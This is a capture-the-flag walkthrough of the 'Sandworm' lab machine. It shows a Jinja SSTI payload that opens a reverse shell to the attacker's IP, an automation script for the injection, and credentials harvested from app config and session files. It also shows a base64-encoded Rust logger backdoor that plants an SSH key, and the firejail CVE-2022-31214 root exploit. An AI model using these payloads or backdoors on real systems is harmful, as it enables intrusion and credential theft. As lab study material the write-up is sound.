Sandworm

Recon

nmap_scan.log
Open 10.129.229.16:22
Open 10.129.229.16:80
Open 10.129.229.16:443
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.229.16

PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp  open  http     syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA/emailAddress=atlas@ssa.htb/organizationalUnitName=SSA/localityName=Classified
| Issuer: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA/emailAddress=atlas@ssa.htb/organizationalUnitName=SSA/localityName=Classified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-04T18:03:25
| Not valid after:  2050-09-19T18:03:25
| MD5:   b8b7:487e:f3e2:14a4:999e:f842:0141:59a1
| SHA-1: 80d9:2367:8d7b:43b2:526d:5d61:00bd:66e9:48dd:c223
| -----BEGIN CERTIFICATE-----
| MIIDpTCCAo0CFBEpfzxeoSRi0SkjUE4hvTDcELATMA0GCSqGSIb3DQEBCwUAMIGN
| MQswCQYDVQQGEwJTQTETMBEGA1UECAwKQ2xhc3NpZmllZDETMBEGA1UEBwwKQ2xh
| c3NpZmllZDEaMBgGA1UECgwRU2VjcmV0IFNweSBBZ2VuY3kxDDAKBgNVBAsMA1NT
| QTEMMAoGA1UEAwwDU1NBMRwwGgYJKoZIhvcNAQkBFg1hdGxhc0Bzc2EuaHRiMCAX
| DTIzMDUwNDE4MDMyNVoYDzIwNTAwOTE5MTgwMzI1WjCBjTELMAkGA1UEBhMCU0Ex
| EzARBgNVBAgMCkNsYXNzaWZpZWQxEzARBgNVBAcMCkNsYXNzaWZpZWQxGjAYBgNV
| BAoMEVNlY3JldCBTcHkgQWdlbmN5MQwwCgYDVQQLDANTU0ExDDAKBgNVBAMMA1NT
| QTEcMBoGCSqGSIb3DQEJARYNYXRsYXNAc3NhLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAKLTqQshN1xki+1sSRa6Yk5hlNYWroPyrVhm+FuKMpNL
| cjW9pyNOV/wvSdCRuk/s3hjqkIf12fljPi4y5IhqfcpTk+dESPGTiXdrE7oxcWHn
| jQvE01MaT9MxtIwGiRBupuFvb2vIC2SxKkKR28k/Y83AoJIX72lbeHJ9GlNlafNp
| OABrIijyFzBou6JFbLZkL6vvKLZdSjGy7z7NKLH3EHTBq6iSocSdxWPXtsR0ifeh
| hODGT2L7oe3OWRvClYTM3dxjIGC64MnP5KumamJoClL2+bSyiQzFJXbvcpGROgTU
| 01I6Qxcr1E5Z0KH8IbgbREmPJajIIWbsuI3qLbsKSFMCAwEAATANBgkqhkiG9w0B
| AQsFAAOCAQEAdI3dDCNz77/xf7aGG26x06slMCPqq/J0Gbhvy+YH4Gz9nIp0FFb/
| E8abhRkUIUr1i9eIL0gAubQdQ6ccGTTuqpwE+DwUh58C5/Tjbj/fSa0MJ3562uyb
| c0CElo94S8wRKW0Mds0bUFqF8+n2shuynReFfBhXKTb8/Ho/2T2fflK94JaqCbzM
| owSKHx8aMbUdNp9Fuld5+Fc88u10ZzIrRl9J5RAeR5ScxQ4RNGTdBVYClk214Pzl
| IiyRHacJOxJAUX6EgcMZnLBLgJ1R4u7ZvU3I3BiaENCxvV6ITi61IwusjVCazRf3
| NNn7kmk7cfgQqPCvmwtVrItRHxWEWnkNuQ==
|_-----END CERTIFICATE-----
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTPs (443)

HTTP redirects us to HTTPs, and we can encrypt data using PGP.

Writeup.png

/guide allows playing around with PGP encryption.

Download their public key

└─$ curl https://ssa.htb/pgp -skLo atlas_pubkey.asc

https://pranabdas.github.io/linux/pgp/https://tldr.inbrowser.app/pages/common/gpg

└─$ gpg --import pubkey.asc
gpg: key C61D429110B625D4: public key "SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>" imported
gpg: Total number processed: 1
gpg:               imported: 1

Let's generate the key

gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
Real name: Letmein
Email address: let@me.in
gpg: directory '/home/x/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/x/.gnupg/openpgp-revocs.d/EDC4214135E9B708D376EB1B2A1EE6D56BF67EC8.rev'
public and secret key created and signed.
pub   rsa3072 2024-12-09 [SC] [expires: 2026-12-09]
      EDC4214135E9B708D376EB1B2A1EE6D56BF67EC8
uid                      Letmein <let@me.in>
sub   rsa3072 2024-12-09 [E] [expires: 2026-12-09]
└─$ echo test > test.txt
└─$ gpg --clearsign test.txt
└─$ cat test.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

test
-----BEGIN PGP SIGNATURE-----

iQGzBAEBCgAdFiEE7cQhQTXptwjTdusbKh7m1Wv2fsgFAmdWrqkACgkQKh7m1Wv2
fsjFhQv/UJkGRZYT45LGNuFyB/M24MmFwwAGIkYWXc/rfAzSdyf0XRT8/lWXrQFh
Te7Gfpjfm0LI/fcCG2ua6lPsBNKBPmRp4/osdgNyIAhl/xlDIKKId37pOKKjlJUF
NCigaYiV0dybfD0qcIpmtA5HRbV9Op7biTX/mB7Bz1QdPh9nrfJutTeTxoOxH4AE
T5YJuw4tojNPx3fipA+QLsP3kbxapgxAReseP45ZjNu+MRCVlyosV/e4Gf5d3eLj
ZseSI2VBEccLjwpMwhMNvmwbEZryKvlPEOutXFxpg2ZvjX3EIgfQY+zBMdGO+6cH
8giKbe2HWCx90eMslYy/TWQJ2jvLN5Zdq4tlPuGbxY4E1si558U6OIqmV5jckY9Y
O4BeL2Hupqti2YQQGZ6a++g9OyDQtGijAm1lmyV605paO/TmKYVqr7FVapORgU0G
+MPwWmgSenwRxQ6E6qD4QhoYZfDQTaaALjurUq8AwXNbf03pjr4SH+65ZrmK37+R
a317Zd2N
=a+ZG
-----END PGP SIGNATURE-----

Get your public key

└─$ gpg --export --armor let@me.in > letmein_pubkey.asc
Writeup-1.png

SSTI

This started smelling like SSTI, so I created script to automatically do the magic for us.

import gnupg
from pathlib import Path
import readline
import requests
import re

EMAIL = 'let@me.in'
PASSWORD = 'Password123$'
TEMP_PATH = Path('/tmp/gnupg')
URL = 'https://ssa.htb/process'

def generate_key(real_name, email, password):
    input_data = gpg.gen_key_input(
        name_real=real_name,
        name_email=email,
        key_type="RSA",
        key_length=3072,
        expire_date="2y",
        passphrase=password
    )
    key = gpg.gen_key(input_data)
    return key


def sign_file(content, key_id):
    signed_data = gpg.sign(content, keyid=key_id, clearsign=True)
    return signed_data.data


def export_public_key(key_id):
    public_key = gpg.export_keys(key_id)
    return public_key


if __name__ == "__main__":
    TEMP_PATH.mkdir(exist_ok=True)
    gpg = gnupg.GPG(gnupghome=TEMP_PATH)

    key = generate_key(input('Username: '), EMAIL, PASSWORD)

    signed_data = sign_file(EMAIL, key.fingerprint).decode()
    # print(signed_data)

    exported_key = export_public_key(key.fingerprint)
    # print(exported_key)

    resp = requests.post(URL, data={'signed_text': signed_data, 'public_key': exported_key}, verify=False)
	# print(resp.text)

	match = re.search(r'\[GNUPG:\] GOODSIG [0-9A-F]* (.*) <.*>', resp.text).group(1)
	print(match)

SSTI is confirmed

└─$ py pgp_enc.py
Username: {{7*7}}
...
[GNUPG:] GOODSIG F1C3ECF34329A2F8 49 <let@me.in>
Username: {{config}}
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '91668c1bc67132e3dcfb5b1a3e0c5c21', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR': None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA', 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_BINDS': {}, 'SQLALCHEMY_RECORD_QUERIES': False, 'SQLALCHEMY_TRACK_MODIFICATIONS': False}>

No luck with SSH.

Reverse Shell (atlas) (Jail)

Username: {{ cycler.__init__.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"') }}
---
atlas@sandworm:/var/www/html/SSA$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)

MySQL

atlas@sandworm:/var/www/html/SSA/SSA/submissions$ python3 -c "from sqlalchemy import create_engine,text; print([db[0] for db in create_engine('mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA').connect().execute(text('SHOW DATABASES')).fetchall()])"
['SSA', 'information_schema', 'performance_schema']

atlas@sandworm:/var/www/html/SSA/SSA/submissions$ python3 -c "from sqlalchemy import create_engine, text; print([tb[0] for tb in create_engine('mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA').connect().execute(text('SHOW TABLES')).fetchall()])"
['users']

atlas@sandworm:/var/www/html/SSA/SSA/submissions$ python3 -c "from sqlalchemy import create_engine, text; [print(row) for row in create_engine('mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA').connect().execute(text('SELECT * FROM users')).fetchall()]"
(1, 'Odin', 'pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f')
(2, 'silentobserver', 'pbkdf2:sha256:260000$kGd27QSYRsOtk7Zi$0f52e0aa1686387b54d9ea46b2ac97f9ed030c27aac4895bed89cb3a4e09482d')

I don't think we are cracking these passwords any time soon....

Enumeration

Upgrading shell fails

└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHChBZSdb3LLMtS76C+O0QeXeavorZMe50Ox2Wh2oHj1 woyag@kraken
---
atlas@sandworm:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHChBZSdb3LLMtS76C+O0QeXeavorZMe50Ox2Wh2oHj1 woyag@kraken' >> ~/.ssh/authorized_keys
bash: /home/atlas/.ssh/authorized_keys: Read-only file system

There's httpie credentials in user's directory and firejail but no access.

atlas@sandworm:~/.config$ ls -AlhR
.:
total 4.0K
dr-------- 2 nobody nogroup   40 Dec  9 07:58 firejail
drwxrwxr-x 3 nobody atlas   4.0K Jan 15  2023 httpie
ls: cannot open directory './firejail': Permission denied

./httpie:
total 4.0K
drwxrwxr-x 3 nobody atlas 4.0K Jan 15  2023 sessions

./httpie/sessions:
total 4.0K
drwxrwx--- 2 nobody atlas 4.0K May  4  2023 localhost_5000

./httpie/sessions/localhost_5000:
total 4.0K
-rw-r--r-- 1 nobody atlas 611 May  4  2023 admin.json
atlas@sandworm:~/.config$ cat ./htt*/*/*/*
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}

We can login in the admin portal

Writeup-2.png

SSH (22)

We are also able to login in real machine with these credentials

└─$ sshpass -p 'quietLiketheWind22' ssh silentobserver@ssa.htb
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)

User.txt

silentobserver@sandworm:~$ cat user.txt
863af5fb311517faf59a6ee09c2b5137

Privilege Escalation (atlas)

silentobserver@sandworm:~$ sudo -l
Sorry, user silentobserver may not run sudo on localhost.

Check for internal applications.

silentobserver@sandworm:~$ ss -utnlp4
Netid    State     Recv-Q    Send-Q         Local Address:Port          Peer Address:Port    Process
udp      UNCONN    0         0              127.0.0.53%lo:53                 0.0.0.0:*
udp      UNCONN    0         0                    0.0.0.0:68                 0.0.0.0:*
tcp      LISTEN    0         4096           127.0.0.53%lo:53                 0.0.0.0:*
tcp      LISTEN    0         128                  0.0.0.0:22                 0.0.0.0:*
tcp      LISTEN    0         511                  0.0.0.0:443                0.0.0.0:*
tcp      LISTEN    0         70                 127.0.0.1:33060              0.0.0.0:*
tcp      LISTEN    0         128                127.0.0.1:5000               0.0.0.0:*
tcp      LISTEN    0         151                127.0.0.1:3306               0.0.0.0:*
tcp      LISTEN    0         511                  0.0.0.0:80                 0.0.0.0:*

80, 443 and 5000 is GPG application, 3306 is mysql, but 33060 is unknown.

silentobserver@sandworm:/etc/nginx/sites-enabled$ cat ssa
server {
    listen 80;
    server_name 0.0.0.0;
    return 301 https://ssa.htb$request_uri;
}

server {
    listen 443 ssl;
    server_name ssa.htb;

    ssl_certificate /root/domain.crt;
    ssl_certificate_key /root/domain.key;

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    ssl_ciphers ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA;

    location / {
            proxy_pass http://127.0.0.1:5000;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
    }
}

The application seems to be living in /opt/tipnet

silentobserver@sandworm:/opt/tipnet$ find -ls 2>/dev/null | grep -vE 'debug'
     5969      4 drwxr-xr-x   5 root     atlas        4096 Jun  6  2023 .
    17914      4 -rw-r--r--   1 root     atlas         288 May  4  2023 ./Cargo.toml
     9194      4 drwxr-xr--   6 root     atlas        4096 Jun  6  2023 ./.git
     8653      4 -rwxr-xr--   1 root     atlas           8 Feb  8  2023 ./.gitignore
    14999      4 drwxr-xr-x   3 root     atlas        4096 Jun  6  2023 ./target
    15000      4 -rwxr-xr--   1 root     atlas         177 Feb  8  2023 ./target/CACHEDIR.TAG
    15001      4 -rwxr-xr--   1 root     atlas        1035 Feb  8  2023 ./target/.rustc_info.json
    14996      4 drwxr-xr-x   2 root     atlas        4096 Jun  6  2023 ./src
    15956      8 -rwxr-xr--   1 root     atlas        5795 May  4  2023 ./src/main.rs
     9188     48 -rw-r--r--   1 root     atlas       46161 May  4  2023 ./Cargo.lock
     7213     40 -rw-rw-r--   1 atlas    atlas       33301 Dec  9 11:16 ./access.log
silentobserver@sandworm:/opt/tipnet/src$ cat main.rs
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry { timestamp: String, target: String, source: String, data: String }

fn main() {
    let mode = get_mode();

    if mode == "" { return; }
    else if mode != "upstream" && mode != "pull" { println!("[-] Mode is still being ported to Rust; try again later."); return; }

    let mut conn = connect_to_db("Upstream").unwrap();

    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

    println!("Enter keywords to perform the query:");
    let mut keywords = String::new();
    io::stdin().read_line(&mut keywords).unwrap();

    if keywords.trim() == "" { println!("[-] No keywords selected.\n\n[-] Quitting...\n"); return; }

    println!("Justification for the search:");
    let mut justification = String::new();
    io::stdin().read_line(&mut justification).unwrap();

    // Get Username
    let output = Command::new("/usr/bin/whoami").output().expect("nobody");
    let username = String::from_utf8(output.stdout).unwrap();
    let username = username.trim();

    if justification.trim() == "" {
        println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
        return;
    }
    logger::log(username, keywords.as_str().trim(), justification.as_str());
    search_sigint(&mut conn, keywords.as_str().trim());
}

fn get_mode() -> String {
        let valid = false;
        let mut mode = String::new();

        while ! valid {
                mode.clear();
                println!("Select mode of usage:");
                print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");
                io::stdin().read_line(&mut mode).unwrap();
                match mode.trim() {
                        "a" => { println!("\n[+] Upstream selected"); return "upstream".to_string(); }
                        "b" => { println!("\n[+] Muscular selected"); return "regular".to_string(); }
                        "c" => { println!("\n[+] Tempora selected"); return "emperor".to_string(); }
                        "d" => { println!("\n[+] PRISM selected"); return "square".to_string(); }
                        "e" => { println!("\n[!] Refreshing indeces!"); return "pull".to_string(); }
                        "q" | "Q" => { println!("\n[-] Quitting"); return "".to_string(); }
                        _ => { println!("\n[!] Invalid mode: {}", mode); }
                }
        }
        return mode;
}

fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
    let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
    let pool = Pool::new(url).unwrap();
    let mut conn = pool.get_conn().unwrap();
    return Ok(conn);
}

fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
    let keywords: Vec<&str> = keywords.split(" ").collect();
    let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");

    for (i, keyword) in keywords.iter().enumerate() {
        if i > 0 { query.push_str("OR "); }
        query.push_str(&format!("data LIKE '%{}%' ", keyword));
    }
    let selected_entries = conn.query_map(
        query, |(timestamp, target, source, data)| { Entry { timestamp, target, source, data } },).expect("Query failed.");
    for e in selected_entries {
        println!("[{}] {} ===> {} | {}", e.timestamp, e.source, e.target, e.data);
    }
}

fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
    let paths = fs::read_dir(directory)
        .unwrap()
        .filter_map(|entry| entry.ok())
        .filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
        .map(|entry| entry.path());

    let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash").unwrap();
    let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)").unwrap();
    let now = Utc::now();

    for path in paths {
        let contents = fs::read_to_string(path).unwrap();
        let hash = Sha256::digest(contents.as_bytes());
        let hash_hex = hex::encode(hash);

        let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
        if existing_entry.is_none() {
            let date = now.format("%Y-%m-%d").to_string();
            println!("[+] {}\n", contents);
            conn.exec_drop(&stmt_insert, params! { "timestamp" => date, "data" => contents, "hash" => &hash_hex, },).unwrap();
        }
    }
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}

We have tipnet mysql credentials, but it's not a user and database doesn't have anything.

silentobserver@sandworm:/opt/tipnet/src$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash

Binary is compiled inside /target/debug and has SUID bit set on.

silentobserver@sandworm:/opt/tipnet/target/debug$ ls -Alh
total 57M
drwxrwxr-x 142 atlas atlas  12K Jun  6  2023 build
-rwxrwxr--   1 root  atlas    0 Feb  8  2023 .cargo-lock
drwxrwxr-x   2 atlas atlas  68K Jun  6  2023 deps
drwxrwxr-x   2 atlas atlas 4.0K Jun  6  2023 examples
drwxrwxr-- 472 root  atlas  24K Jun  6  2023 .fingerprint
drwxrwxr-x   6 atlas atlas 4.0K Jun  6  2023 incremental
-rwsrwxr-x   2 atlas atlas  57M Jun  6  2023 tipnet
-rw-rw-r--   1 atlas atlas   87 May  4  2023 tipnet.d

It seems to be running every 2 minutes

silentobserver@sandworm:/opt/tipnet$ tail access.log
[2024-12-09 16:42:02] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:44:02] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:46:01] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:48:01] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:50:01] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:52:01] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:54:02] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:56:02] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:56:29] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:57:11] - User: ROUTINE, Query:  - , Justification: Pulling fresh submissions into database.

program.d files are used for dependency tracking (?)

silentobserver@sandworm:/opt/tipnet/target/debug$ cat tipnet.d
/opt/tipnet/target/debug/tipnet: /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs

We have write access to lib.rs

silentobserver@sandworm:/opt/tipnet/target/debug$ ls -lh /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs
-rw-rw-r-- 1 atlas silentobserver  732 May  4  2023 /opt/crates/logger/src/lib.rs
-rwxr-xr-- 1 root  atlas          5.7K May  4  2023 /opt/tipnet/src/main.rs

Upgrade to SSH:

└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDsjX1qMF3UkC2cArfByZ8EyZqzdgOarqvzJoYXardHf woyag@kraken
use std::fs::OpenOptions;
use std::io::Write;
#[allow(unused_variables)]
pub fn log(user: &str, query: &str, justification: &str) {
    let mut file = OpenOptions::new()
        .create(true)
        .append(true)
        .open("/home/atlas/.ssh/authorized_keys")
        .expect("Failed to open or create the log file");

    file.write_all("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDsjX1qMF3UkC2cArfByZ8EyZqzdgOarqvzJoYXardHf woyag@kraken".as_bytes())
        .expect("Failed to write to the log file");
}
silentobserver@sandworm:/opt/tipnet$ echo 'dXNlIHN0ZDo6ZnM6Ok9wZW5PcHRpb25zOw0KdXNlIHN0ZDo6aW86OldyaXRlOw0KI1thbGxvdyh1bnVzZWRfdmFyaWFibGVzKV0NCnB1YiBmbiBsb2codXNlcjogJnN0ciwgcXVlcnk6ICZzdHIsIGp1c3RpZmljYXRpb246ICZzdHIpIHsNCiAgICBsZXQgbXV0IGZpbGUgPSBPcGVuT3B0aW9uczo6bmV3KCkNCiAgICAgICAgLmNyZWF0ZSh0cnVlKQ0KICAgICAgICAuYXBwZW5kKHRydWUpDQogICAgICAgIC5vcGVuKCIvaG9tZS9hdGxhcy8uc3NoL2F1dGhvcml6ZWRfa2V5cyIpDQogICAgICAgIC5leHBlY3QoIkZhaWxlZCB0byBvcGVuIG9yIGNyZWF0ZSB0aGUgbG9nIGZpbGUiKTsNCg0KICAgIGZpbGUud3JpdGVfYWxsKCJzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJRHNqWDFxTUYzVWtDMmNBcmZCeVo4RXlacXpkZ09hcnF2ekpvWVhhcmRIZiB3b3lhZ0BrcmFrZW4iLmFzX2J5dGVzKCkpDQogICAgICAgIC5leHBlY3QoIkZhaWxlZCB0byB3cml0ZSB0byB0aGUgbG9nIGZpbGUiKTsNCn0NCg==' | base64 -d > /opt/crates/logger/src/lib.rs; echo 'e' | /opt/tipnet/target/debug/tipnet >/dev/null
└─$ ssh atlas@ssa.htb -i id_rsa
atlas@sandworm:~$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)

Privilege Escalation (root)

This user previously was jailed and is also part of jailer group.

atlas@sandworm:~/.config/firejail$ cat webapp.profile
noblacklist /var/run/mysqld/mysqld.sock

hostname sandworm
seccomp

noroot
allusers

caps.drop dac_override,fowner,setuid,setgid
seccomp.drop chmod,fchmod,setuid

private-tmp
private-opt none
private-dev
private-bin /usr/bin/python3,/usr/local/bin/gpg,/bin/bash,/usr/bin/flask,/usr/local/sbin/gpg,/usr/bin/groups,/usr/bin/base64,/usr/bin/lesspipe,/usr/bin/basename,/usr/bin/filename,/usr/bin/bash,/bin/sh,/usr/bin/ls,/usr/bin/cat,/usr/bin/id,/usr/local/libexec/scdaemon,/usr/local/bin/gpg-agent

#blacklist ${HOME}/.ssh
#blacklist /opt

blacklist /home/silentobserver
whitelist /var/www/html/SSA
read-write /var/www/html/SSA/SSA/submissions

noexec /var/www/html/SSA/SSA/submissions
read-only ${HOME}
read-write ${HOME}/.gnupg

It's a SUID binary

atlas@sandworm:~/.config/firejail$ find / -group jailer -ls 2>/dev/null
     1344   1740 -rwsr-x---   1 root     jailer    1777952 Nov 29  2022 /usr/local/bin/firejail
atlas@sandworm:~/.config/firejail$ firejail --version
firejail version 0.9.68

Subject: firejail: local root exploit reachable via --join logic (CVE-2022-31214)

└─$ curl https://www.openwall.com/lists/oss-security/2022/06/08/10/1 -so firejoin.py
└─$ scp -i id_rsa firejoin.py atlas@ssa.htb:/tmp/
atlas@sandworm:~/.config/firejail$ tmux
atlas@sandworm:~/.config/firejail$ chmod +x /tmp/firejoin.py
atlas@sandworm:~/.config/firejail$ python3 /tmp/firejoin.py
You can now run 'firejail --join=12686' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
# If you're already in tmux then do HANDLE+HANDLE+ACTION
# So split pane horizontally -> Ctrl+Ctrl+"
# Jump up or down -> Ctrl+Ctrl+UpArrow/DownArrow
atlas@sandworm:~/.config/firejail$ firejail --join=12686
changing root to /proc/12686/root
Warning: cleaning all supplementary groups
Child process initialized in 6.23 ms
atlas@sandworm:~/.config/firejail$ sudo su -
atlas is not in the sudoers file.  This incident will be reported.
atlas@sandworm:~/.config/firejail$ su -
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@sandworm:~# cat /root/root.txt
067268615dfea2400e4b7f7ef3b1f778

Last updated